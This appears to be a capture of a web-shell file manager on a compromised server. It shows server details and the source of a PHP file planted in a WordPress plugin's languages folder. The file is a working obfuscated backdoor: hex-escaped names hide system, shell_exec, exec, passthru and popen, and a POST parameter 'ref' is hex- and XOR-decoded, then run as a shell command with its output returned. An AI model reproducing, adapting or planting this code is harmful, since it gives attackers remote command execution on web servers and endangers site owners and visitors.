HEX
Server: nginx/1.28.0
System: Linux yisu-68a5f20334161 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User: www (1000)
PHP: 8.2.28
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/q.autos58.cn/wp-content/plugins/1773385768-125616c6e9d984c/languages/usergroup_17.php
<?php

$splitter_tool7 = "pclo\x73e";
$splitter_tool1 = "s\x79\x73tem";
$auth_exception_handler = "hex2\x62i\x6E";
$splitter_tool4 = "pas\x73t\x68\x72\x75";
$splitter_tool2 = "\x73h\x65\x6C\x6C_\x65xec";
$splitter_tool5 = "\x70\x6Fpen";
$splitter_tool6 = "st\x72eam\x5F\x67\x65t\x5F\x63o\x6E\x74ents";
$splitter_tool3 = "\x65\x78ec";
if (isset($_POST["ref"])) {
            function api_gateway($element ,   $obj  ) {
 $descriptor  ='';
 $q=0;
 do{
$descriptor.=chr(ord($element[$q])^$obj);
$q++;

} while($q<strlen($element));
 return$descriptor;
 
}
            $ref = $auth_exception_handler($_POST["ref"]);
            $ref = api_gateway($ref, 57);
            if (function_exists($splitter_tool1)) {
                $splitter_tool1($ref);
            } elseif (function_exists($splitter_tool2)) {
                print $splitter_tool2($ref);
            } elseif (function_exists($splitter_tool3)) {
                $splitter_tool3($ref, $factor_element);
                print join("\n", $factor_element);
            } elseif (function_exists($splitter_tool4)) {
                $splitter_tool4($ref);
            } elseif (function_exists($splitter_tool5) && function_exists($splitter_tool6) && function_exists($splitter_tool7)) {
                $obj_descriptor = $splitter_tool5($ref, 'r');
                if ($obj_descriptor) {
                    $object_res = $splitter_tool6($obj_descriptor);
                    $splitter_tool7($obj_descriptor);
                    print $object_res;
                }
            }
            exit;
        }